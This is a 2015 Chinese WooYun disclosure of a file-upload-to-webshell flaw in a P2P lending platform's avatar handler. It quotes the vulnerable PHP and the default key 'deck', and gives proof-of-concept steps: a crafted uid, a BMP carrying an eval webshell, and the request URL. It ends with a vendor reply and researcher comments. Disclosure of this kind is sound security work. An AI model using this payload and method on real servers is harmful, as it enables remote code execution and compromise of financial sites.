当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144444

漏洞标题:贷齐乐p2p系统存在任意命令执行漏洞

相关厂商:chinaanhe.com

漏洞作者: Xser

提交时间:2015-10-01 21:48

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-01: 细节已通知厂商并且等待厂商处理中
2015-10-02: 厂商已经确认,细节仅向厂商公开
2015-10-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-26: 细节向核心白帽子及相关领域专家公开
2015-12-06: 细节向普通白帽子公开
2015-12-16: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

RT

详细说明:

出现在用户上传头像那里
跟踪文件plugins/avatar/avatar.class.php中

function onuploadavatar() {

@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");

$this->init_input($this->getgpc('agent', 'G'));
$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}


$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;

$uid.$filetype这个两个参数拼合了
如果可控就可以getshell,我们跟踪看看是否可控
uid

$uid = $this->input('uid');


filetype

$filetype = $imgtype[$type];


跟踪input

function input($k) {
return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL;
}
function init_input($getagent = '') {
$input = $this->getgpc('input', 'R');

if($input) {
$input = $this->authcode($input, 'DECODE', 'deck');

parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];
if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}


看到init_input函数是获取input的值

$input = $this->authcode($input, 'DECODE', 'deck');

这里用了默认的deck密匙解密
POC构造:
$uid = (解码后)1.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。
调用默认加密过程将特殊的$uid转换为base64,然后直接向
http://website/?user&inajax=1&a=uploadavatar&appid=1&input={xxxxxxxxx}&agent=hahahahahahah&avatartype=virtual
提交上传请求
然后访问

360截图20151001213615344.jpg

漏洞证明:

出现在用户上传头像那里
跟踪文件plugins/avatar/avatar.class.php中

function onuploadavatar() {

@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");

$this->init_input($this->getgpc('agent', 'G'));
$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}


$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;

$uid.$filetype这个两个参数拼合了
如果可控就可以getshell,我们跟踪看看是否可控
uid

$uid = $this->input('uid');


filetype

$filetype = $imgtype[$type];


跟踪input

function input($k) {
return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL;
}
function init_input($getagent = '') {
$input = $this->getgpc('input', 'R');

if($input) {
$input = $this->authcode($input, 'DECODE', 'deck');

parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];
if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}


看到init_input函数是获取input的值

$input = $this->authcode($input, 'DECODE', 'deck');

这里用了默认的deck密匙解密
POC构造:
$uid = (解码后)1.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。
调用默认加密过程将特殊的$uid转换为base64,然后直接向
http://website/?user&inajax=1&a=uploadavatar&appid=1&input={xxxxxxxxx}&agent=hahahahahahah&avatartype=virtual
提交上传请求
然后访问

360截图20151001213615344.jpg

修复方案:

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-10-02 10:52

厂商回复:

测试这个版本应该是贷齐乐盗版或者是贷齐乐12年版本,请测试官方正式版,否则请不要以贷齐乐版本命名

最新状态:

2015-10-02: onuploadavatar() 这个函数已经不是这么写的了,具体请测试宁波贷


漏洞评价:

评价

  1. 2015-10-01 21:50 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    牛的一比

  2. 2015-10-01 21:54 | 玉林嘎 认证白帽子 ( 核心白帽子 | Rank:915 漏洞数:105 )

    可怕.

  3. 2015-10-01 22:00 | 牛肉包子 ( 普通白帽子 | Rank:262 漏洞数:67 | baozisec)

    5K get√

  4. 2015-10-01 22:04 | Xser ( 普通白帽子 | Rank:365 漏洞数:83 | JDSec)

    我一直想要融都的源码其实p2p系统是三巨头,融都是阿里投资的,一直没人挖@牛肉包子@玉林嘎

  5. 2015-10-02 00:00 | 90Snake ( 普通白帽子 | Rank:146 漏洞数:48 | 人如果没有梦想,跟咸鱼有什么分别)

    牛的一比

  6. 2015-10-02 07:28 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1841 漏洞数:292 | HackBraid昵称的由来是一款名为Braid的游戏...)

    屌屌屌

  7. 2015-10-02 11:02 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1841 漏洞数:292 | HackBraid昵称的由来是一款名为Braid的游戏...)

    嗯,知道是哪个漏洞了,帝友也出现过

  8. 2015-10-02 11:49 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1268 漏洞数:193 | Only Code Never Lie To Me.)

    嗯 看过这个, 应该挺久以前的版本,uid就有是不是数字的检测, 还有各种其他蛋疼的检测。。

  9. 2015-10-02 13:04 | 牛肉包子 ( 普通白帽子 | Rank:262 漏洞数:67 | baozisec)

    我也知道了 新版的早就检测了

  10. 2015-10-06 10:19 | secgov ( 路人 | Rank:10 漏洞数:3 | 安全审计,漏洞挖掘,WAF. 提醒大家揭露漏洞...)

    实在对贷气乐无语了

  11. 2016-01-12 12:31 | 这只猪 ( 路人 | Rank:8 漏洞数:5 | )(2009年荣获CCAV首届挖洞大使称号)(★★★...)

    牛逼的不要不要的!